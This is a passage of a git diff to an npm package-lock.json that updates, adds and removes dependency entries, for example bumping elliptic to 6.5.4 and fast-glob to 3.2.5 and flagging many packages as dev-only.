"https://registry.npmjs.org/elfy/-/elfy-1.0.0.tgz", + "integrity": "sha512-4Kp3AA94jC085IJox+qnvrZ3PudqTi4gQNvIoTZfJJ9IqkRuCoqP60vCVYlIg00c5aYusi5Wjh2bf0cHYt+6gQ==", "dev": true, "requires": { - "bn.js": "^4.4.0", - "brorand": "^1.0.1", + "endian-reader": "^0.3.0" + } + }, + "elliptic": { + "version": "6.5.4", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz", + "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==", + "dev": true, + "requires": { + "bn.js": "^4.11.9", + "brorand": "^1.1.0", "hash.js": "^1.0.0", - "hmac-drbg": "^1.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.0" + "hmac-drbg": "^1.0.1", + "inherits": "^2.0.4", + "minimalistic-assert": "^1.0.1", + "minimalistic-crypto-utils": "^1.0.1" }, "dependencies": { "bn.js": { - "version": "4.11.9", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.9.tgz", - "integrity": "sha512-E6QoYqCKZfgatHTdHzs1RRKP7ip4vvm+EyRUeE2RF0NblwVvb0p6jSVeNTOFxPn26QXN2o6SMfNxKp6kU8zQaw==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -5026,12 +7865,14 @@ "email-validator": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/email-validator/-/email-validator-2.0.4.tgz", - "integrity": "sha512-gYCwo7kh5S3IDyZPLZf6hSS0MnZT8QmJFqYvbqlDZSbwdZlY6QZWxJ4i/6UhITOJ4XzyI647Bm2MXKCLqnJ4nQ==" + "integrity": "sha512-gYCwo7kh5S3IDyZPLZf6hSS0MnZT8QmJFqYvbqlDZSbwdZlY6QZWxJ4i/6UhITOJ4XzyI647Bm2MXKCLqnJ4nQ==", + "dev": true }, "emoji-regex": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", - "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==" + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true }, "emojis-list": { "version": "3.0.0", @@ -5056,14 +7897,21 @@ "version": "1.4.4", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, "requires": { "once": "^1.4.0" } }, + "endian-reader": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/endian-reader/-/endian-reader-0.3.0.tgz", + "integrity": "sha1-hOykNrgK7Q0GOcRykTOLky7+UKA=", + "dev": true + }, "enhanced-resolve": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.1.tgz", - "integrity": "sha512-98p2zE+rL7/g/DzMHMTF4zZlCgeVdJ7yr6xzEpJRYwFYrGi9ANdn5DnJURg6RpBkyk60XYDnWIv51VfIhfNGuA==", + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", + "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", "dev": true, "requires": { "graceful-fs": "^4.1.2", @@ -5136,18 +7984,11 @@ "is-symbol": "^1.0.2" } }, - "es6-promise": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz", - "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==" - }, - "es6-promisify": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz", - "integrity": "sha1-UQnWLz5W6pZ8S2NQWu8IKRyKUgM=", - "requires": { - "es6-promise": "^4.0.3" - } + "es6-error": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", + "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", + "dev": true }, "es6-templates": { "version": "0.2.3", @@ -5159,10 +8000,17 @@ "through": "~2.3.6" } }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true + }, "escape-goat": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/escape-goat/-/escape-goat-2.1.1.tgz", - "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==" + "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==", + "dev": true }, "escape-html": { "version": "1.0.3", @@ -5175,26 +8023,6 @@ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" }, - "escodegen": { - "version": "1.14.3", - "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.3.tgz", - "integrity": "sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==", - "requires": { - "esprima": "^4.0.1", - "estraverse": "^4.2.0", - "esutils": "^2.0.2", - "optionator": "^0.8.1", - "source-map": "~0.6.1" - }, - "dependencies": { - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "optional": true - } - } - }, "eslint": { "version": "6.8.0", "resolved": "https://registry.npmjs.org/eslint/-/eslint-6.8.0.tgz", @@ -5422,23 +8250,23 @@ } }, "eslint-plugin-react": { - "version": "7.19.0", - "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.19.0.tgz", - "integrity": "sha512-SPT8j72CGuAP+JFbT0sJHOB80TX/pu44gQ4vXH/cq+hQTiY2PuZ6IHkqXJV6x1b28GDdo1lbInjKUrrdUf0LOQ==", + "version": "7.23.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.23.2.tgz", + "integrity": "sha512-AfjgFQB+nYszudkxRkTFu0UR1zEQig0ArVMPloKhxwlwkzaw/fBiH0QWcBBhZONlXqQC51+nfqFrkn4EzHcGBw==", "dev": true, "requires": { - "array-includes": "^3.1.1", + "array-includes": "^3.1.3", + "array.prototype.flatmap": "^1.2.4", "doctrine": "^2.1.0", "has": "^1.0.3", - "jsx-ast-utils": "^2.2.3", - "object.entries": "^1.1.1", - "object.fromentries": "^2.0.2", - "object.values": "^1.1.1", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.0.4", + "object.entries": "^1.1.3", + "object.fromentries": "^2.0.4", + "object.values": "^1.1.3", "prop-types": "^15.7.2", - "resolve": "^1.15.1", - "semver": "^6.3.0", - "string.prototype.matchall": "^4.0.2", - "xregexp": "^4.3.0" + "resolve": "^2.0.0-next.3", + "string.prototype.matchall": "^4.0.4" }, "dependencies": { "doctrine": { @@ -5450,11 +8278,15 @@ "esutils": "^2.0.2" } }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true + "resolve": { + "version": "2.0.0-next.3", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.3.tgz", + "integrity": "sha512-W8LucSynKUIDu9ylraa7ueVZ7hc0uAgJBxVsQSKOXOyle8a93qXhcz+XAXZ8bIq2d6i4Ehddn6Evt+0/UwKk6Q==", + "dev": true, + "requires": { + "is-core-module": "^2.2.0", + "path-parse": "^1.0.6" + } } } }, @@ -5497,7 +8329,8 @@ "esprima": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==" + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true }, "esquery": { "version": "1.3.1", @@ -5528,12 +8361,14 @@ "estraverse": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true }, "esutils": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==" + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true }, "etag": { "version": "1.8.1", @@ -5542,11 +8377,20 @@ "dev": true }, "event-loop-spinner": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz", - "integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.1.0.tgz", + "integrity": "sha512-RJ10wL8/F9AlfBgRCvYctJIXSb9XkVmSCK3GGUvPD3dJrvTjDeDT0tmhcbEC6I2NEjNM9xD38HQJ4F/f/gb4VQ==", + "dev": true, "requires": { - "tslib": "^1.10.0" + "tslib": "^2.1.0" + }, + "dependencies": { + "tslib": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true + } } }, "eventemitter3": { @@ -5556,9 +8400,9 @@ "dev": true }, "events": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/events/-/events-3.1.0.tgz", - "integrity": "sha512-Rv+u8MLHNOdMjTAFeT3nCjHn2aGlx435FP/sDHNaRhDEMwyI/aB22Kj2qIN8R0cw3z28psEQLYwxVKLsKrMgWg==", + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", "dev": true }, "eventsource": { @@ -5584,6 +8428,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "dev": true, "requires": { "cross-spawn": "^6.0.0", "get-stream": "^4.0.0", @@ -5598,6 +8443,7 @@ "version": "6.0.5", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, "requires": { "nice-try": "^1.0.4", "path-key": "^2.0.1", @@ -5722,7 +8568,8 @@ "extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true }, "extend-shallow": { "version": "3.0.2", @@ -5749,6 +8596,7 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", + "dev": true, "requires": { "chardet": "^0.7.0", "iconv-lite": "^0.4.24", @@ -5832,9 +8680,10 @@ "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==" }, "fast-glob": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.2.tgz", - "integrity": "sha512-UDV82o4uQyljznxwMxyVRJgZZt3O5wENYojjzbaGEGZgeOxkLFf+V4cnUD+krzb2F72E18RhamkMZ7AdeggF7A==", + "version": "3.2.5", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.5.tgz", + "integrity": "sha512-2DtFcgT68wiTTiwZ2hNdJfcHNke9XOfnwmBRWXhmeKM8rF0TGwmC/Qto3S7RoZKp5cilZbxzO5iTNTQsJ+EeDg==", + "dev": true, "requires": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", @@ -5848,6 +8697,7 @@ "version": "3.0.2", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, "requires": { "fill-range": "^7.0.1" } @@ -5856,14 +8706,16 @@ "version": "7.0.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, "requires": { "to-regex-range": "^5.0.1" } }, "glob-parent": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz", - "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, "requires": { "is-glob": "^4.0.1" } @@ -5871,21 +8723,24 @@ "is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true }, "micromatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", - "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, "requires": { "braces": "^3.0.1", - "picomatch": "^2.0.5" + "picomatch": "^2.2.3" } }, "to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, "requires": { "is-number": "^7.0.0" } @@ -5902,6 +8757,12 @@ "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=" }, + "fastest-levenshtein": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.12.tgz", + "integrity": "sha512-On2N+BpYJ15xIC974QNVuYGMOlEVt4s0EOI3wwMqOmK1fdDY+FN/zltPV8vosq4ad4c/gJ1KHScUn/6AWIgiow==", + "dev": true + }, "fastparse": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.2.tgz", @@ -5909,9 +8770,10 @@ "dev": true }, "fastq": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.7.0.tgz", - "integrity": "sha512-YOadQRnHd5q6PogvAR/x62BGituF2ufiEA6s8aavQANw5YKHERI4AREboX6KotzP8oX2klxYF2wcV/7bn1clfQ==", + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.11.0.tgz", + "integrity": "sha512-7Eczs8gIPDrVzT+EksYBcupqMyxSHXXrHOLRRxU2/DicV8789MRBRR8+Hc2uWzUupOs4YS4JzBmBxjjCVBxD/g==", + "dev": true, "requires": { "reusify": "^1.0.4" } @@ -6009,12 +8871,14 @@ "file-uri-to-path": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", - "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==" + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "dev": true, + "optional": true }, "filepond": { - "version": "4.19.2", - "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.2.tgz", - "integrity": "sha512-2NgemeQGIx9TfjaRwn6LpjJFXILzGXl0FD+Er7veI/25Nn+4qu0mA8rk22S3vpJPajMRn+dD1EUTEOMgUolJ7w==" + "version": "4.27.0", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.27.0.tgz", + "integrity": "sha512-Z1XUXny6BQw9RVORz/MMjyVJHcW+tXiMRxocLEAY6gY1EfpMPwLJcQhalpMnfiGax7sBqXkv3tE8sZO71Q7Hbw==" }, "fill-range": { "version": "4.0.0", @@ -6055,14 +8919,74 @@ } }, "find-cache-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", - "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.1.tgz", + "integrity": "sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==", "dev": true, "requires": { "commondir": "^1.0.1", - "make-dir": "^2.0.0", - "pkg-dir": "^3.0.0" + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "dependencies": { + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "requires": { + "semver": "^6.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "requires": { + "p-limit": "^2.2.0" + } + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true + }, + "pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "requires": { + "find-up": "^4.0.0" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, "find-root": { @@ -6198,7 +9122,8 @@ "fs-constants": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", - "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "dev": true }, "fs-extra": { "version": "8.1.0", @@ -6211,6 +9136,15 @@ "universalify": "^0.1.0" } }, + "fs-minipass": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", + "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", + "dev": true, + "requires": { + "minipass": "^3.0.0" + } + }, "fs-readdir-recursive": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", @@ -6232,7 +9166,8 @@ "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", + "dev": true }, "fsevents": { "version": "1.2.13", @@ -6257,47 +9192,11 @@ "rimraf": "2" } }, - "ftp": { - "version": "0.3.10", - "resolved": "https://registry.npmjs.org/ftp/-/ftp-0.3.10.tgz", - "integrity": "sha1-kZfYYa2BQvPmPVqDv+TFn3MwiF0=", - "requires": { - "readable-stream": "1.1.x", - "xregexp": "2.0.0" - }, - "dependencies": { - "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" - }, - "readable-stream": { - "version": "1.1.14", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", - "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - }, - "string_decoder": { - "version": "0.10.31", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=" - }, - "xregexp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-2.0.0.tgz", - "integrity": "sha1-UqY+VsoLhKfzpfPWGHLxJq16WUM=" - } - } - }, "function-bind": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true }, "functional-red-black-tree": { "version": "1.0.1", @@ -6331,9 +9230,9 @@ } }, "gensync": { - "version": "1.0.0-beta.1", - "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.1.tgz", - "integrity": "sha512-r8EC6NO1sngH/zdD9fiRDLdcgnbayXah+mLgManTaIZJqEC1MZstmnox8KpnI2/fxQwrp5OpCOYWLp4rBl4Jcg==", + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", "dev": true }, "get-caller-file": { @@ -6342,6 +9241,17 @@ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", "dev": true }, + "get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + } + }, "get-stdin": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", @@ -6352,23 +9262,11 @@ "version": "4.1.0", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", "integrity": 